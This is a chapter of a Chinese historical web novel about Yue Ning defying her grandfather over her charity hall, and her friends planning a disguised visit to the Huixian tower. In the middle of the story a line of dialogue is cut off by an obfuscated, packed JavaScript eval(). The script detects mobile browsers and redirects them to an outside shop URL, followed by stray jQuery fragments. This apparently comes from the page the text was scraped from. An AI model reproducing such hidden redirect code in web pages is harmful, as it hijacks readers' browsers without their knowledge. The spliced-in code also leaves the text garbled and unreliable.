狂风呼啸，仿佛从远古传来。


    岳凝面不改色，盯着前方父亲的牌位直直跪下。


    “你知错吗？”


    骤雨从檐外被猛地刮进来，淋了她半身，冰冷刺骨。


    “不知。”


    岳渊转身，高大的阴影骤然笼罩在岳凝头顶，一道闪电劈过，骤然映亮了他手中的长棍。


    他一棍落下，毫无留情。


    “我再问你一遍，知错吗？”


    后背立刻传来一阵刺痛，岳凝连脊背都没弯一下。


    “不知。”


    “好，好！”岳渊长须颤动，“翅膀硬了，敢跟我顶嘴了是吧！”


    棍子再次扬起，岳凝连眼皮都没有眨一下。


    棍风掠动她的额发，斜刺里忽然冲过来一个人抱住岳渊。


    “老爷，老爷手下留情啊！”是岳家的老仆何之，“郎君就留下这点骨血，您不怜女郎幼失怙恃，也看在郎君的面上，饶她这一回吧！”


    岳渊欲要挥开他却不得，只能顿足，“天要亡我岳家——孽障，若不是我岳家子嗣凋零，这一辈只剩几个女孩儿……


    “又何必走上这条卖女求荣的路，是吧！”电光打在她脸上，岳凝一字一句道。


    “你！”


    岳渊气得面孔涨紫，一把挥开何之，木棍高高扬起，岳凝朗声道：“我已经遵从您的意愿，开办善堂，沽名钓誉，以图他日嫁入高门——您还有什么不满呢？”


    “好好好，”岳渊被她气笑了，不由猛咳几声，“你没进官场，倒先学会倒打一耙了！我是念在你好歹借此结实了几个名士的份上，才允许你继续这个赔钱的营生！你倒好，你得罪谁不好，偏要得罪谢越！”


    岳凝冷笑一声，看向自己这个宦海半生，官至三公的祖父，“谢越又怎样？对就是对，错就是错，不要说他魏廉只是谢越的一只鹰犬，今天便是谢越本人，我也照骂不误！”


    “你——还敢顶嘴！”


    这一棍落得结结实实。岳凝禁不住往前一趴。


    何之跪下求她：“女郎，你便跟老爷服个软吧。”


    “我没错，为什么要认错！”她强撑着背部的疼痛仰头看居高临下看着她的人，“背义之人不该被骂吗？寡恩之徒不该被骂吗？您只关心岳家一家的利害，一姓的得失！


    “我们的国家就是因为上上下下全都是这样的薄情逐利之徒，才会君臣失和，叛乱频生，竟一度要向北边俯首称臣！”


    “放肆！”


    一道惊雷炸开。


    隆隆的雷声下，接连而下的闪电映亮了彼此的脸。


    岳渊气息不稳：“这样大逆不道的话，是谁教你的！”


    岳凝从地上撑起，“不用人教！这不过是人人都知，但人人都不敢言的事实！”


    疾风骤雨淋漓而至，头顶的灯笼如残絮一般摇摇晃晃。


    “你以为就你清醒？！”老人冷笑一声，“你以为靠你一个人，就能跟这世道作对！”


    “我不是一个人！”她的眼睛比闪电还要明亮，“谢越的夫人深明大义，我与她志同道合！就连您最看不起的张邵明，他的妹妹也从未在善堂对向她求教的孩子露出过半分不耐！”


    她笑了一声，“至于您从来不放在眼里的那些寒门武夫，他们的妻子纵然出身卑微，也没有自轻自贱，只要有机会，那些圣贤书，她们一样能读！”


    她抹了把脸上的雨水，霍地站起来，“阿爷，这世道是在你们手里坏下去的。固守陈规，不过是助纣为虐！只有别开生面，才有一线生机！


    “您不是一直想与谢越攀交却不得其法吗，现在就是机会！”


    岳渊并没有接她的话，他的目光深邃如望不到底的枯井，不知是在衡量她这句话的真假，还是话里的分量。


    久到她甚至要为善堂的维续做最后一搏时，岳渊甩袖而去。


    那高大的背影第一次带了三分佝偻。


    “下不为例！”


    漆黑的夜里，只有没有尽头的雷声。


    ***


    这场雨并没有下得太久。


    第二天天明时，地面上已经没有半分水迹，完全看不出前一夜曾下过一场暴雨。


    纾延换上男装，来到善堂等岳凝一起前往会仙楼调查魏廉的事情。


    没想到眼看过了辰时，连晨课都结束了，岳凝却迟迟没有来。


    没有等来岳凝，却等来了晚晴。


    彼时纾延跪坐在堂屋的矮桌前，给苗苗讲刚才的功课，晚晴提着小食盒敲门而入。


    “你不是下午的课吗，怎么现在来了？”


    晚晴将食盒打开，“听说昨儿在巷口起了争执，我心里放心不下，所以一早就过来了。”


    她这么一说，苗苗也接道：“其实……我一早也想问你的，就是不知道怎么开口……”


    纾延捡了一块糕点入口，遂将昨日的争执，从头到尾讲了一遍。


    听到她们今日打算亲自去会仙楼打探消息，晚晴微微凝眉，迟疑道：“那样的地方，鱼龙混杂，咱们到底是女儿家，若是有个什么万一——”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928186|192742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “我们会扮作男装前往。”


    “即便如此，一旦传出去，名声总要受损的——何况，”她顿了顿，“善堂收养的大多是女孩子，一旦跟烟花之地扯上关系，难免也会被人泼上脏水，说成是不清不楚的地方。”


    苗苗道：“岳娘子毕竟尚未出阁，传出去只怕好说不好听呢。”


    纾延微微沉吟，晚晴说的确实不无道理。


    她二人对视一眼，晚晴道：“既然魏先生是将军的手下，何不请将军出面讯问？”


    他才不会讯问，谢越他怕是从头到尾都对真相了然于心！


    只是她不能凭谢越的一面之词去说服阿凝，而谢越——涉及他的挚友，他又会对她据实以告吗？


    可这些话她不能对他人讲。


    “你们说得都在理，只是这终究是私德，并非公事，何况昨天那样争执之下，魏先生都缄口不言，只怕另有隐情。


    “所谓耳听为虚，眼见为实，我还是要亲自走一趟会仙楼。晚晴你说的不错，阿凝毕竟尚在闺中，又是善堂的话事人，若伤了清誉，善堂上上下下都会受损。”


    二人一时都有些无言，纾延默默饮了口茶，开始思索怎么才能劝岳凝点头。


    须臾片刻，苗苗断然道：“我陪你去！”


    纾延刚咽了半口茶，惊道：“啊？”


    “你一个人去那样的地方，我们怎么放心得下呢？好歹我也嫁了人，要是被人认出来就说你是陪我来捉奸的！”


    她说得太快，纾延险些以为自己听错了，“啊？”


    晚晴捂住自己的脸。


    苗苗大义凛然：“我们现在就走吧！”


    纾延拉住她，“这不是小事——”


    昔日在一众贵族娘子里，她什么都没有做都被百般针对，若再有这样的传闻，她恐怕会沦为整个柳镇的笑柄。


    可她的目光坚如磐石，“我知道。”


    晌午的日光从窗外洒进来，明亮得令人心中生出暖意。


    “好，”纾延握紧她的手，“我们一起去！不过——”


    目光逡巡过在座的两人，纾延笑道：“我们扮作男装，但不是去捉奸！”


    “那去做什么？”


    话音未落，门外传来敲门声。


    三人一齐看向帘外。


    帘子打起，来的是岳凝的侍女抱月。


    “给三位娘子请安。”


    抱月走到前面，将一张短笺交到纾延手中。


    纾延扫了一眼，


    “阿凝病了？”